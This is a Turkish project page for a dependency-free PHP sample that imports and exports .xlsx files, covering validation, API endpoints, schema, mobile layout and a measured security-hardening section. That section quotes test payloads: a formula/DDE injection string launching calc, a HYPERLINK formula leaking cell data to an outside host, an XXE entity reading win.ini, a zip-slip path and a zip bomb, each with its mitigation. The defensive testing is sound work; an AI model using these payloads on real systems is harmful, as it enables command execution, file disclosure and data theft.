Orta
veri-isleme/php-csv-import
CSV İçe Aktarma
- PHP 8
- PDO
- MySQL
- Ajax
- +2
97 inceleme 23 canlı açılış 1 beğeni
Veri İşleme Orta
PHP ve PDO ile Excel dosyalarını içe aktarma, önizleme ekranında doğrulama ve tek tıkla dışa aktarma. Sunum, veri ve davranış katmanları ayrılmış bir örnek.
Veritabanı şeması projedeki cy_excel.sql dosyasında.
Gerçek bir .xlsx indirin, düzenleyin, geri yükleyin — Composer ve PhpSpreadsheet olmadan.
İki yönlü bir Excel köprüsü:
| Yön | Ne yapar |
|---|---|
| Dışa aktarma | Veritabanındaki kayıtları biçimlendirilmiş .xlsx olarak indirir. Başlık satırı dondurulmuş, filtre okları açık, tarihler gerçek tarih, maaşlar gerçek sayı olarak gelir. Ekranda arama yapılmışsa yalnızca filtrelenen kayıtlar aktarılır. |
| İçe aktarma | Yüklenen .xlsx okunur, her satır doğrulanır ve kaydetmeden önce size gösterilir. Onaylarsanız tek bir transaction içinde yazılır. |
Ek olarak şablon indirme: doğru başlıklara sahip, iki örnek satır içeren boş bir dosya. Hatalı yüklemelerin büyük kısmı daha başlamadan biter.
Kaydetmeden önce her satırın ne olacağını görürsünüz — hangisi yeni, hangisi güncellenecek, hangisi zaten aynı, hangisi hatalı ve neden hatalı:

Dokuz sütunluk tablo dar ekranda karta dönüşür; sütun başlıkları her değerin soluna etiket olarak taşınır. Yatay kaydırma yoktur — bütün alanlar ilk bakışta görünür:
.xlsx sihirli bir ikili format değildir — ZIP'lenmiş XML dosyalarıdır. Herhangi bir Excel dosyasının uzantısını .zip yapıp açın, içinde şunları görürsünüz:
[Content_Types].xml → paketteki her parça ne türdür
_rels/.rels → paketin ana parçası hangisidir
xl/workbook.xml → sayfa listesi
xl/_rels/workbook.xml.rels → sheet1 hangi dosyada duruyor
xl/styles.xml → yazı tipi, dolgu, sayı biçimleri
xl/worksheets/sheet1.xml → ASIL VERİ (satırlar ve hücreler)XlsxWriter tam olarak bu altı dosyayı üretip ZipArchive ile paketler. XlsxReader ise paketi açıp XMLReader ile geri okur. Gereken tek şey PHP'nin yerleşik zip, xml ve mbstring eklentileridir (XAMPP'ta hazır gelir).
Tek bir hücre, dosyanın içinde şuna benzer:
<c r="B2" s="2" t="inlineStr"><is><t>Evren</t></is></c>r hücre adresi, s stil numarası, t hücre türü. Metinleri sharedStrings.xml havuzu yerine inlineStr ile hücrenin içine yazıyoruz: dosya biraz büyür ama kod çok daha anlaşılır olur. Bu örnek için doğru takas.
Ne zaman PhpSpreadsheet'e geçmelisiniz? Formül, grafik, çoklu sayfa, hücre birleştirme veya .xls/.ods desteği gerekiyorsa. Buradaki sınıfların amacı veri alışverişidir, rapor tasarımı değil.
Excel okuyan kodların neredeyse tamamı bunlardan en az birinde takılır:
1. Tarihler metin değil, sayıdır.
15.08.2026 hücrede 46249 olarak durur. Bir sayının tarih mi yoksa gerçekten sayı mı olduğu ancak hücrenin stiline bakılarak anlaşılır. XlsxReader, styles.xml içindeki sayı biçimlerini çözümleyip "hangi stil tarih gösteriyor" listesini çıkarır. Excel'in ünlü 1900 artık yıl hatası da telafi edilir (başlangıç 30 Aralık 1899 kabul edilerek).
2. Boş hücreler dosyada hiç yazmaz.
B sütunu boşsa ` etiketi bulunmaz; satır A'dan C'ye atlar. Hücreleri sırayla okursanız sütunlar kayar. Çözüm: her hücrenin r özniteliğindeki adrese (C7`) bakıp sütun numarasını hesaplamak.
3. Metinler hücrede durmaz.
Excel tekrar eden metinleri sharedStrings.xml havuzunda tutar; hücrede yalnızca havuz sıra numarası yazar. Ayrıca bir kelimenin bir kısmı kalınsa metin ` parçalarına bölünür ve tek ` okumak yetmez.
4. Sayfanın adı sheet1.xml olmak zorunda değildir.
Google Sheets ve LibreOffice farklı adlar üretir. Doğru yol: workbook.xml'deki ilk sayfanın r:id'sini alıp workbook.xml.rels içinde hedefini bulmak.
excel-import-export/
├── index.php ← Sayfa iskeleti
├── .env.example ← Veritabanı bilgileri (isteğe bağlı) — .gitignore içinde
├── cy_excel.sql ← Veritabanı kurulumu (cy_excel şeması + 50 örnek kayıt)
├── system/
│ ├── .htaccess ← BEYAZ LİSTE: yalnızca ajax.php ve export.php dışarı açık
│ ├── config.php ← Ayarlar + PDO bağlantısı + oturum + APP_VERSION
│ ├── config.local.php.example ← Kopyalanacak şablon (parola buraya YAZILMAZ)
│ ├── function.php ← Yardımcılar, doğrulayıcılar, SÜTUN TANIMLARI
│ ├── ajax.php ← JSON uç noktası (CRUD + önizleme + kaydet)
│ ├── export.php ← Dosya indiren uç nokta
│ ├── views/ ← Modal pencereler (parça şablonlar)
│ │ ├── .htaccess ← Doğrudan çağrıyı engeller
│ │ ├── modal-user.php ← Ekleme / düzenleme formu
│ │ ├── modal-detail.php ← Kayıt detayı
│ │ ├── modal-delete.php ← Silme onayı
│ │ └── modal-import.php ← İçe aktarma sihirbazı
│ └── Excel/
│ ├── XlsxWriter.php ← ZipArchive ile .xlsx üretir
│ └── XlsxReader.php ← XMLReader ile .xlsx okur
├── assets/
│ ├── css/cilginyazilim.css ← Marka tasarım kalıbı (ortak, koyu tema dahil)
│ ├── css/style.css ← Bu sayfaya özel stiller + MOBİL DÜZEN
│ └── js/app.js ← Tüm arayüz davranışı + tema anahtarı
└── upload/ ← Profil görselleri (.htaccess ile korumalı)
| Fonksiyon | Dosya | Ne yapar |
|---|---|---|
excel_columns() | function.php | Tek doğruluk kaynağı. Hangi sütun, hangi başlıkla, hangi türde, zorunlu mu — hepsi burada |
excel_header_aliases() | function.php | E-Posta, eposta, mail, E-POSTA ADRESİ → hepsi email alanına eşlenir |
normalize_header() | function.php | Başlığı sadeleştirir: Türkçe harfleri ASCII'ye indirir, boşluk/tire/parantez atar |
validate_maas() | function.php | 92.500,75, 92500.75, 92.500,75 ₺ — üçünü de kabul eder |
user_row_changed() | function.php | Satır gerçekten değişti mi? Değişmediyse UPDATE hiç çalıştırılmaz |
find_existing_users() | ajax.php | N+1 sorgu problemini çözer: 500'erlik gruplar hâlinde tek sorgu |
needsFormulaGuard() | XlsxWriter.php | Formül enjeksiyonuna karşı quotePrefix koruması (aşağıda) |
Sütun tanımları tek yerdedir: system/function.php içindeki excel_columns(). Üç adım:
cy_excel.sql dosyasına sütunu ekleyinexcel_columns() dizisine bir satır ekleyinvalidate_import_row() içine doğrulamasını yazınDışa aktarma, şablon, başlık eşleştirme ve önizleme tablosu bu tanımı okuduğu için gerisi kendiliğinden çalışır.
Dosya seç
↓
[1] import_preview ── veritabanına HİÇBİR ŞEY yazmaz
│ · dosya gerçekten geçerli bir xlsx paketi mi?
│ · satır sayısı sınırı aşıyor mu? (aşıyorsa REDDEDİLİR, kırpılmaz)
│ · başlıklar alan adlarıyla eşleşiyor mu?
│ · her satır tek tek doğrulanır
│ · her satır MEVCUT kayıtla karşılaştırılır:
│ eklenecek mi / güncellenecek mi / değişiklik yok mu?
│ · yazılacak satırlar OTURUMDA saklanır
↓
Önizleme tablosu: yeşil = yeni, mavi = güncelleme,
gri = değişiklik yok, kırmızı = hatalı
↓
[2] import_commit ── tek transaction, hepsi ya da hiçbiriE-Posta, eposta, mail, E-POSTA ADRESİ — hepsi tanınır. Tanınmayan sütunlar (#, Kayıt Tarihi, Notlar) sessizce yok sayılır. Böylece dışa aktardığınız dosyayı düzenleyip doğrudan geri yükleyebilirsiniz.
Anahtar e-postadır. Aynı e-postaya sahip kayıt varsa güncellenir, yoksa eklenir. Güncellemede profil görseline ve kayıt tarihine dokunulmaz — Excel'de bu bilgiler yoktur, bir içe aktarma yüzünden kaybolmaları kabul edilemez.
Değişmemiş satırlar sessizce atlanır. Bir satırın tüm alanları veritabanındakiyle birebir aynıysa "güncellenecek" diye işaretlenmez ve UPDATE sorgusu hiç çalıştırılmaz.
Türkçe biçimler kabul edilir. 105.000,50 ve 105000.50 aynı sayıdır; 04.03.2019 ve 2019-03-04 aynı tarihtir. 31.02.2019 gibi var olmayan tarihler reddedilir.
| Sütun | Zorunlu | Not |
|---|---|---|
| Ad | ✔ | En az 2 karakter, yalnızca harf |
| Soyad | ✔ | |
| E-posta | ✔ | Benzersiz olmalı; içe aktarmanın anahtarıdır |
| Departman | Boş bırakılabilir | |
| Maaş | Boş bırakılabilir | |
| Başlama Tarihi | Boş bırakılabilir |
Hepsi POST kabul eder ve CSRF anahtarı ister (csrf_token alanı veya X-CSRF-Token başlığı).
system/ajax.php — JSON döndürüraction | Parametreler | Döndürür |
|---|---|---|
list | DataTables protokolü (draw, start, length, order, search) | {draw, recordsTotal, recordsFiltered, data[]} |
fetch | id | Tek kaydın ham + biçimlenmiş alanları |
add | name, surname, email, departman, maas, baslama_tarihi, image_user | {success, description, id} |
edit | user_id + yukarıdakiler | {success, description, id} |
delete | id | {success, description, id} |
import_preview | import_file (dosya) | {token, columns, fields, rows[], summary} |
import_commit | token | {success, description, inserted, updated, skipped} |
system/export.php — dosya döndürür| Parametre | Değer | Sonuç |
|---|---|---|
export | data | Kayıtlar .xlsx olarak iner (search verilirse filtreli) |
export | template | Boş şablon iner |
| Kod | Anlamı |
|---|---|
200 | Başarılı |
400 | Geçersiz istek (hatalı ID gibi) |
403 | CSRF anahtarı geçersiz / oturum düştü |
404 | Kayıt bulunamadı |
405 | POST dışı istek |
422 | Doğrulama hatası (form alanı veya geçersiz dosya) |
500 | Sunucu hatası |
Neden 419 yok? "419 Page Expired" standart olmayan bir koddur. Bu kurulumda ölçtük: Apache tanımadığı 419'u sessizce 500'e çeviriyordu; yani "oturumun düştü" demek isterken tarayıcıya "sunucu çöktü" diyorduk. Doğru karşılık 403'tür.
cy_excel veritabanı, tek tablo:
CREATE TABLE `users` (
`id` INT UNSIGNED NOT NULL AUTO_INCREMENT,
`name` VARCHAR(150) NOT NULL,
`surname` VARCHAR(150) NOT NULL,
`email` VARCHAR(190) NOT NULL, -- içe aktarmanın ANAHTARI
`departman` VARCHAR(100) NOT NULL DEFAULT '',
`maas` DECIMAL(10,2) DEFAULT NULL, -- FLOAT DEĞİL: para için DECIMAL
`baslama_tarihi` DATE DEFAULT NULL,
`image` VARCHAR(191) NOT NULL DEFAULT '',
`tarih` TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
UNIQUE KEY `uniq_users_email` (`email`),
KEY `idx_users_name` (`name`),
KEY `idx_users_surname` (`surname`),
KEY `idx_users_departman` (`departman`),
KEY `idx_users_tarih` (`tarih`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;DECIMAL(10,2), FLOAT değil. İkili kayan noktalı sayı 0.1 + 0.2 = 0.30000000000000004 üretir ve muhasebe kayıtlarını bozar.email üzerinde UNIQUE. "Varsa güncelle, yoksa ekle" davranışının dayandığı kural budur. 190 karakter sınırı utf8mb4 + InnoDB indeks bayt limiti yüzündendir (190 × 4 = 760 bayt).image alanı örnek veride boştur. Depoda örnek görsel yok; dosya adı yazsaydık her yeni kurulumda "veritabanı fotoğraf var diyor ama disk boş" tutarsızlığı çıkardı. Boşken uygulama baş harf rozeti gösterir.Her madde ölçülerek doğrulanmıştır; ölçüm sonucu yazılıdır.
quotePrefix)Bir hücreye =cmd|'/c calc'!A0 ya da =HYPERLINK("http://x/?"&A1,"tıkla") yazılırsa ne olur?
Ölçüm: Bu değeri içe aktarma ile Departman alanına yazdık, dışa aktardık ve üretilen paketi açıp inceledik. Hücre şöyle yazılıyordu:
<c r="E52" s="2" t="inlineStr"><is><t>=cmd|'/c calc'!A0</t></is></c>t="inlineStr" — metin hücresi. Dosyada hiç ` (formül) etiketi yok. Bir .xlsx hücresi ancak ` varsa formüldür; dolayısıyla dosya Excel'de açıldığında formül çalışmaz. CSV'deki klasik "dosyayı açtım, komut çalıştı" senaryosu burada yoktur.
Peki neden yine de koruma eklendi? Çünkü metin hâlâ formül söz dizimindedir ve Excel bir hücrenin içeriğini yeniden girildiğinde baştan yorumlar. Üç sıradan davranış onu canlı formüle çevirir: hücreye çift tıklayıp Enter'lamak, sütunu kopyalayıp yapıştırmak, veriyi ileride CSV olarak dışa aktarmak (CSV'de `` ayrımı yoktur).
Çözüm: =, +, -, @, sekme veya satır başı ile başlayan metin hücrelerine OOXML'in quotePrefix="1" stili verilir. Bu Excel'e "kullanıcı bu değeri baştan metin olarak girdi" der.
Yaygın tavsiye olan "başına tek tırnak ekle" yöntemi bilerek kullanılmadı: .xlsx'te apostrof hücre metninin parçası değil, arayüzün gösterim kuralıdır. Gerçek bir apostrof yazsaydık kullanıcı hücrede '=cmd... görürdü — yani veriyi bozardık.
Meşru veri bozulmuyor (ölçüldü): -1250.75 ve +90 555 111 22 33 değerleri korumayla birlikte ekranda aynen görünür, yaz-oku turunda bayt bayt korunur. Para ve tarih sütunları zaten money/date türünden geçtiği için bu yola hiç girmez.
Ölçüm: İçine <!DOCTYPE x [ <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini"> ]> gömülü iki ayrı .xlsx hazırladık — biri sheet1.xml, diğeri sharedStrings.xml üzerinden. Sonuç: birincisi "bozuk XML" diye reddedildi, ikincisinde varlık boş metne çözüldü. win.ini içeriği hiçbir yere sızmadı.
Koruma: simplexml_load_string() çağrısında LIBXML_NONET kullanılır ve LIBXML_NOENT asla eklenmez (o bayrak açığı geri açar). PHP 8'de dış varlık yükleme zaten varsayılan olarak kapalıdır; bu ikinci kilittir.
../ yollu arşiv)Ölçüm: İçinde ../../../../xampp/htdocs/excel-import-export/upload/slipped.php adlı bir girdi bulunan .xlsx hazırlayıp yükledik. Dosya diske yazılmadı.
Sebep tasarımsaldır: XlsxReader arşivi hiçbir zaman diske açmaz (extractTo() çağrısı yoktur). Yalnızca getFromName() ve zip:// akışı kullanır — yani paket içindeki yol adları hiçbir zaman dosya sistemi yolu olarak yorumlanmaz.
Paket açılmadan önce arşivin bildirdiği toplam açılmış boyuta bakılır; sınırı aşan reddedilir.
Ölçüm: Sınır 64 MB iken, 169 KB'lık bir yükleme 55 MB'lık bir sharedStrings.xml açıyor ve PHP'nin tepe bellek kullanımını 88 MB'a çıkarıyordu — yaklaşık 500 kat büyüme. Ölümcül değildi ama gereksizdi: içe aktarma sınırı zaten 5 MB ve 2000 satır, gerçek bir 10.000 satırlık dosya ise yalnızca 313 KB. Sınır 24 MB'a çekildi ve bomba dosyası artık 422 ile reddediliyor.
upload/.htaccess)Ölçüm (önce): .php ve .phtml istekleri 403 dönüyordu (iyi), ama /upload/x.gif ve /upload/x.html istekleri 200 dönüyor ve tek bir güvenlik başlığı taşımıyordu. İçine HTML/JS gömülmüş bir "görsel", tarayıcı MIME tahmini yaparsa sitenin kendi alan adında betik çalıştırabilirdi (depolanmış XSS).
Sonra: Aşağıdaki katmanlar eklendi ve tekrar ölçüldü.
| Katman | Neden |
|---|---|
` betik uzantısı reddi | Diğer katmanlar atlatılıp bir .php buraya yazılsa bile çalıştırılamaz. Liste uzun çünkü hangi uzantının o sunucuda yorumlandığını bilemeyiz |
php_flag engine off (mod_php koşullu) | Yalnızca mod_php'de çalışır; PHP-FPM'de sessizce yok sayılır — bu yüzden tek başına yeterli sayılmaz |
Options -Indexes -ExecCGI | Dosya adları rastgeledir; tek koruma URL'nin tahmin edilemezliğidir. Listeleme açıksa o koruma anlamsızlaşır |
X-Content-Type-Options: nosniff | Tarayıcı "bu aslında HTML" diye tahmin edip görseli sayfa olarak çalıştırmasın |
Content-Security-Policy (sandbox) | İkinci kemer: yanıt yine de HTML sayılırsa bile betik çalışmaz; sandbox belgeyi kaynaksız kum havuzuna alır, çerezlere erişemez |
X-Frame-Options: DENY | Clickjacking ve görsel tabanlı oltalama |
| Referrer-Policy: no-referrer` | Rastgele dosya adları dış sitelere referans olarak sızmasın |
Doğrulama (sonra): .php, .PHP, .php5, .phtml, php. ve x.php/y.png (path-info) istekleri 403; meşru .png hâlâ 200 image/png ve tüm güvenlik başlıklarını taşıyor.
list dahil veri döndüren her uç nokta doğrulanır. (Önceden list korumasızdı; belge "her istek" derken kod aksini yapıyordu. Tarayıcı CORS yüzünden yanıtı zaten okuyamaz, yani sızıntı değildi — ama kuralın istisnası olmamalı.) Karşılaştırma hash_equals() ile sabit sürelidir.xl/workbook.xml var mı? Ölçüldü: .php dosyası sahte .xlsx adı ve sahte MIME ile yüklendiğinde 422 ile reddedilir.getimagesize() ile içerikten doğrulanır; yeni ad ve uzantı bizim beyaz listemizden gelir, kullanıcının gönderdiği addan değil. Böylece virus.php.png diske o adla hiç yazılamaz. Ad random_bytes(16) ile rastgeledir.e() (htmlspecialchars), istemcide her hücre .text() ile doldurulur — asla .html().system/views/*.php doğrudan istendiğinde PHP uyarısı basıyor ve uyarı metninde sunucunun tam dosya yolu (C:\xampp\htdocs\...) görünüyordu. Artık hem CY_APP sabiti hem views/.htaccess engelliyor (403).Dokuz sütunluk bir tablo 360 piksellik bir telefona sığmaz. Yaygın çözüm overflow-x: auto ile yatay kaydırmadır; bu depoda da bir süre öyleydi ve iki somut sorun üretti:
# ve Foto sütunları sığdığı için asıl veriyi (e-posta, maaş) görmek her satırda sağa kaydırıp geri gelmeyi gerektiriyordu.Şimdi 767.98px altında her `` bir karta dönüşür:
┌──────────────────────────────────────┐
│ [A] Ayşe ŞAHİN #61 │
│ ──────────────────────────────────── │
│ E-POSTA [email protected] │
│ DEPARTMAN Pazarlama │
│ MAAŞ 55.300,00 │
│ BAŞLAMA 06.09.2021 │
│ ──────────────────────────────────── │
│ [ 👁 ] [ ✎ ] [ 🗑 ] │
└──────────────────────────────────────┘
` gizlendiğinde "Pazarlama" değerinin hangi sütuna ait olduğu kaybolur. CSS bunu her hücrenin soluna data-label` değerini yazarak geri getirir:
#user_data td::before {
content: attr(data-label);
width: 6.5rem; /* sabit genişlik → değerler alt alta hizalanır */
}data-label özniteliğini app.js içindeki rowCallback yerleştirir ve etiketleri ``'den okur:
var COLUMN_LABELS = $('#user_data thead th').map(function () {
return $(this).text().trim();
}).get();excel_columns() → `` → mobil etiket zinciri tek kaynaktan beslenir.
responsive eklentisi değil?Eklenti ~40 KB JS/CSS getirir ve satırları açılır-kapanır hale sokar: veriyi görmek için yine bir dokunuş gerekir. Buradaki çözüm hiçbir kütüphane eklemez ve tüm alanlar ilk bakışta görünür — projenin "sıfır bağımlılık" duruşuyla da tutarlıdır.
DataTables kurulumdan sonra tabloyu ölçer ve genişliğini `` gibi satır içi bir stil olarak yazar. Satır içi stil, harici dosyadaki her kuralı yener; bu yüzden kart düzeni ilk denemede ekranın dışına taşıyordu. Çözüm dar ekranla sınırlı tutulur:
@media (max-width: 767.98px) {
#user_data { width: 100% !important; min-width: 0 !important; }
}autoWidth: false demek de işe yarardı, ama o ayar masaüstü tablosunun sütun genişliklerini de bozar. Sorun yalnızca dar ekranda olduğu için çözüm de yalnızca orada durur.
| Sorun | Çözüm |
|---|---|
| Araç çubuğu yatay kayıyor, "İçe Aktar" düğmesi görünmüyordu | İki satır: arama üstte tam genişlikte, üç düğme altta eşit paylı |
| 34 pikselik işlem ikonları parmakla ıskalanıyordu | Kart altında tam genişlik, 44 px yükseklik (dokunma hedefi alt sınırı) |
| Modal ekranın ortasında sıkışıyor, kenarlarda kullanılamaz boşluk kalıyordu | modal-fullscreen-sm-down (içe aktarma sihirbazında md-down) |
| Modal butonları yan yana, "İptal" ile "Kaydet" birbirine çok yakındı | Alt alta ve tam genişlikte; birincil eylem üstte (column-reverse) |
| iOS Safari form alanına dokununca sayfayı büyütüp geri küçültmüyordu | Alanlarda font-size: 16px — bu davranışı kapatan tek anahtar |
| Bildirimler sağ üstte, tek elle ulaşılamayan köşede çıkıyordu | Ekranın altında, tam genişlikte, env(safe-area-inset-bottom) dolgusuyla |
| Sabit arka plan katmanı iOS'ta kaydırmayı takıyordu | Mobilde background-attachment: scroll |
| Telefon yan çevrilince modal ekranı taşırıyordu | @media (orientation: landscape) → gövde kendi içinde kayar |
Marka kalıbı (cilginyazilim.css) iki kaynağa birden bakar:
@media (prefers-color-scheme: dark) { :root:not([data-cy-theme="light"]) { … } }
:root[data-cy-theme="dark"] { … }data-cy-theme özniteliğini değiştirir; tek bir renk değeri JavaScript'te tanımlı değildir. Üç durum vardır, iki değil:
| Öznitelik | Sonuç |
|---|---|
| yok (varsayılan) | Sistem tercihine uyar; telefon akşam koyuya geçtiğinde sayfa da geçer |
data-cy-theme="dark" | Her koşulda koyu |
data-cy-theme="light" | Her koşulda açık |
Tercih localStorage'da saklanır ve ` içinde, sayfa çizilmeden uygulanır. app.js sayfanın en altında yüklendiği için oraya konsaydı tarayıcı önce açık temayı çizer, sonra koyuya atlardı — kullanıcı her açılışta beyaz bir yanıp sönme görürdü. localStorage erişimi gizli sekmede istisna fırlattığı için okuma da yazma da try/catch` içindedir.
| İşlem | Sonuç |
|---|---|
10.000 satırlık .xlsx okuma (XlsxReader, CLI) | 5,1 sn, tepe bellek 8 MB |
10.000 satırlık .xlsx üretme (XlsxWriter, CLI) | tepe bellek 18 MB, dosya 313 KB |
| 1.900 satırlık içe aktarma önizlemesi (HTTP, uçtan uca) | 0,94 sn |
Bellek düşüktür çünkü XlsxReader tüm belgeyi belleğe almaz: XMLReader ile imleç gibi ilerler ve yalnızca o anki satırı SimpleXML'e verir. İki yaklaşımın iyi yanı birleştirilmiştir — düşük bellek + okunaklı kod.
Varsayılan sınır 2.000 satırdır (IMPORT_MAX_ROWS). Sebebi: doğrulanmış satırlar onay adımına kadar oturumda tutulur. Daha büyük dosyalarla çalışacaksanız oturum yerine geçici bir tabloya yazın.
| Ne | Nerede |
|---|---|
| Veritabanı bilgileri | system/config.local.php (önerilen) veya ortam değişkenleri |
| Yükleme boyut sınırları | config.php → UPLOAD_MAX_BYTES, IMPORT_MAX_BYTES |
| Satır sınırı | config.php → IMPORT_MAX_ROWS |
| İzin verilen görsel türleri | config.php → ALLOWED_IMAGE_TYPES |
| Dışa aktarma dosya adı | config.php → EXPORT_FILENAME_PREFIX |
| Sütunlar (ekle/çıkar/yeniden adlandır) | function.php → excel_columns() |
| Başlık eş anlamlıları | function.php → excel_header_aliases() |
| Excel renkleri / stilleri | XlsxWriter.php → stylesXml() |
| Sayfaya özel görünüm | assets/css/style.css |
| Mobil kırılma noktası | style.css → @media (max-width: 767.98px) |
| Marka renkleri / koyu tema paleti | cilginyazilim.css → :root ve [data-cy-theme] blokları |
| Sürüm numarası | config.php → APP_VERSION (kart altbilgisinde görünür) |
assets/css/cilginyazilim.cssdosyasına dokunmayın. O, projeler arası ortak marka tasarım kalıbıdır; sayfaya özel her şeystyle.cssiçine yazılır.
email yerine stok_kodu anahtar yapılır: excel_columns() ve UNIQUE indeks değiştirilir, gerisi aynı kalır.DECIMAL kullanımı ve Türkçe sayı biçimi desteği doğrudan işe yarar.'den otomatik üretilir.'da kalıcıdır, sayfa açılışında yanıp sönme yoktur.).) dolgusu eklendi. artık gerçekten okunuyor — dosya depoda bir şablon olarak duruyordu ama config.php onu hiç dahil etmiyordu; parolasını oraya yazan herkes sessizce varsayılan bağlantı bilgileriyle çalışıyordu. ortam değişkeninden veya config.local.php içinden ayarlanabilir; APP_VERSION sabiti eklendi ve kart altbilgisinde gösteriliyor. deseni system/config.local.*` olarak genişletildi: yanına konan her kopya varsayılan olarak gizli kalır..xlsx okuma/yazma, önizlemeli içe aktarma, sunucu taraflı DataTables, güvenlik katmanları.MIT — dilediğiniz gibi indirip kullanabilirsiniz.
Telif: Çılgın Yazılım (cilginyazilim.com)
Katkı için depoyu çatallayın ve pull request gönderin:
github.com/CilginYazilim/excel-import-export
Bu örneğin adım adım anlatımı:
Excel İçe / Dışa Aktarma
İncelemek istediğiniz dosyayı ağaçtan seçin.
Güvenlik gereği kaynak dosyalardaki parola, API anahtarı ve benzeri gizli değerler gösterilmeden önce maskelenir (••••••••).
Hayır. Bu örnek .xlsx dosyalarını PHP'nin yerleşik zip ve XMLReader eklentileriyle okuyup yazıyor; Composer, vendor klasörü ve dış kütüphane yok. Formül, grafik veya çoklu sayfa gerekiyorsa PhpSpreadsheet'e geçmelisiniz — buradaki sınıflar veri alışverişi için tasarlandı.
.xlsx içinde 15.08.2026 gibi bir tarih hücrede 46249 sayısı olarak durur. Bir sayının tarih mi yoksa gerçekten sayı mı olduğu ancak hücrenin stiline bakılarak anlaşılır. XlsxReader, styles.xml içindeki sayı biçimlerini çözümleyip hangi stillerin tarih gösterdiğini çıkarır ve Excel'in 1900 artık yıl hatasını da telafi eder.
Excel boş hücreleri dosyaya hiç yazmaz: B sütunu boşsa <c r="B2"> etiketi bulunmaz ve satır A'dan C'ye atlar. Hücreleri sırayla okursanız sütunlar kayar. Doğru yol, her hücrenin r özniteliğindeki adrese (C7 gibi) bakıp sütun numarasını hesaplamaktır — bu örnekte yapılan da budur.
Hayır. Yüklenen dosya önce okunur, her satır doğrulanır ve kaydetmeden önce önizleme ekranında gösterilir: hangi satır yeni, hangisi güncellenecek, hangisi hatalı ve neden hatalı. Onayladığınızda tüm satırlar tek bir transaction içinde yazılır; bir hata olursa hiçbiri yazılmaz.
Evet. system/config.php içindeki DB_HOST, DB_NAME, DB_USER ve DB_PASS satırlarını düzenleyin ya da aynı adlarda ortam değişkeni tanımlayın; kod önce ortam değişkenlerine bakar. Canlıya alırken aynı dosyadaki APP_DEBUG değerini false yapmayı unutmayın.
Evet. Bu araçlar sayfa dosyasını sheet1.xml dışında adlarla üretebiliyor. Okuyucu sabit bir dosya adı varsaymak yerine workbook.xml içindeki ilk sayfanın r:id değerini alıp hedefini workbook.xml.rels üzerinden çözüyor.
Bu örneğin daha gelişmişi projenizde mi lazım?
İhtiyacınızı anlatın; bu yapıyı sizin sisteminize uyarlayalım ya da size özel geliştirelim.
Henüz yorum yok. Takıldığınız bir yer varsa ilk soruyu siz sorun.
Yorumunuz onaylandıktan sonra yayınlanır. Teknik sorularınıza ekibimiz yanıt verir.
Orta
veri-isleme/php-csv-import
97 inceleme 23 canlı açılış 1 beğeni
Orta
veri-isleme/php-soft-delete-trash
45 inceleme 24 canlı açılış
İleri
uygulama-iskeleti/php-baslangic-sablonu
172 inceleme 114 canlı açılış 6 beğeni 2 yorum